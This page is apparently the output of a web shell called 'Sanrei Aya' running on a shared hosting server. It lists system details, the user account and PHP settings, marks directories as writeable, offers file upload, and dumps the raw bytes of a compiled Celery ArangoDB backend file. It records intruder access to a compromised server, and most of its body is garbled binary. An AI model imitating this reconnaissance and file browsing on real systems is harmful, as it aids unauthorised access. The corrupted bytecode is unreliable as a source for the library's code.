Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/backends/__pycache__/arangodb.cpython-39.pyc
a

��Sh1�@s�dZddlmZddlmZddlmZddlmZddl	m
Z
zddlmZ
dd	lmZWneyvd
Z
ZYn0dZGdd
�d
e
�Zd
S)zArangoDb result store backend.�)�	timedelta)�cached_property)�
_parse_url)�ImproperlyConfigured�)�KeyValueStoreBackend)�
connection)�
AQLQueryErrorN)�ArangoDbBackendcs�eZdZdZdZdZdZdZdZdZ	dZ
dZeZ
d�fdd	�	Zed
d��Zedd
��Zedd��Zdd�Zdd�Zdd�Zdd�Zdd�Z�ZS)r
a�ArangoDb backend.

    Sample url
    "arangodb://username:password@host:port/database/collection"
    *arangodb_backend_settings* is where the settings are present
    (in the app.conf)
    Settings should contain the host, port, username, password, database name,
    collection name else the default will be chosen.
    Default database name and collection name is celery.

    Raises
    ------
    celery.exceptions.ImproperlyConfigured:
        if module :pypi:`pyArango` is not available.

    z	127.0.0.1Z8529ZceleryN�httpFcsvt�j|i|��tdur"td��||_|durJd}}}}}}	n6t|�\}
}}}}	}}|durrd}}n|�d�\}}|jj�	dd�}
|
dur�t
|
t�s�td��ni}
|p�|
�	d|j�|_t
|p�|
�	d|j��|_|
�	d|j�|_|
�	d	|j�|_|�p|
�	d
|j�|_|�p$|
�	d|j�|_|�p:|
�	d|j�|_|	�pP|
�	d
|j�|_dj|j|j|jd�|_d|_dS)z8Parse the url or load the settings from settings object.NzEYou need to install the pyArango library to use the ArangoDb backend.�/Zarangodb_backend_settingsz5ArangoDb backend settings should be grouped in a dict�host�port�
http_protocol�verify�database�
collection�username�passwordz{http_protocol}://{host}:{port})rr
r)�super�__init__�py_arango_connectionr�urlr�split�app�conf�get�
isinstance�dictr
�intrrrrrrr�format�arangodb_url�_connection)�selfr�args�kwargsr
rrrrrZ_schemaZdatabase_collectionZ_query�config��	__class__��B/usr/local/lib/python3.9/site-packages/celery/backends/arangodb.pyr6sF��


���zArangoDbBackend.__init__cCs,|jdur&tj|j|j|j|jd�|_|jS)zConnect to the arangodb server.N)Z	arangoURLrrr)r"r�
Connectionr!rrr�r#r)r)r*res
�zArangoDbBackend.connectioncCs|j|jS)z&Database Object to the given database.)rrr,r)r)r*�dboszArangoDbBackend.dbcCst|jdurdn|jd�S)Nr)�seconds)r�expiresr,r)r)r*�
expires_deltatszArangoDbBackend.expires_deltacCs>|durdS|jjdd|j|d�d�}t|�dkr:t|�SdS)Nz(RETURN DOCUMENT(@@collection, @key).taskT��@collection�key�Z
rawResults�bindVarsr)r-�AQLQueryr�len�next)r#r3�queryr)r)r*rxs��zArangoDbBackend.getcCs|jjd|j||d�d�dS)Nz�
            UPSERT {_key: @key}
            INSERT {_key: @key, task: @value}
            UPDATE {task: @value} IN @@collection
            )r2r3�value�r5�r-r6r)r#r3r:r)r)r*�set�s��zArangoDbBackend.setccsl|durdS|jjdd|jt|t�r(|nt|�d�d�}|EdHz|��Wq8tydYqhYq80q8dS)Nz4FOR k IN @keys RETURN DOCUMENT(@@collection, k).taskT)r2�keysr4)r-r6rr�listZ	nextBatch�
StopIteration)r#r>r9r)r)r*�mget�s��	
zArangoDbBackend.mgetcCs(|durdS|jjd|j|d�d�dS)Nz#REMOVE {_key: @key} IN @@collectionr1r;r<)r#r3r)r)r*�delete�s��zArangoDbBackend.deletecCs:|js
dS|j��|j��}|jjd|j|d�d�dS)Nz�
            FOR record IN @@collection
                FILTER record.task.date_done < @checkpoint
                REMOVE record IN @@collection
            )r2�
checkpointr;)r/r�nowr0�	isoformatr-r6r)r#rCr)r)r*�cleanup�s��zArangoDbBackend.cleanup)N)�__name__�
__module__�__qualname__�__doc__r
rrrrrrr�strZkey_tr�propertyrr-rr0rr=rArBrF�
__classcell__r)r)r'r*r
s,/
	


r
)rJ�datetimerZkombu.utils.objectsrZkombu.utils.urlrZcelery.exceptionsr�baserZpyArangorrZpyArango.theExceptionsr	�ImportError�__all__r
r)r)r)r*�<module>s

Yohohohohohooho | Sanrei Aya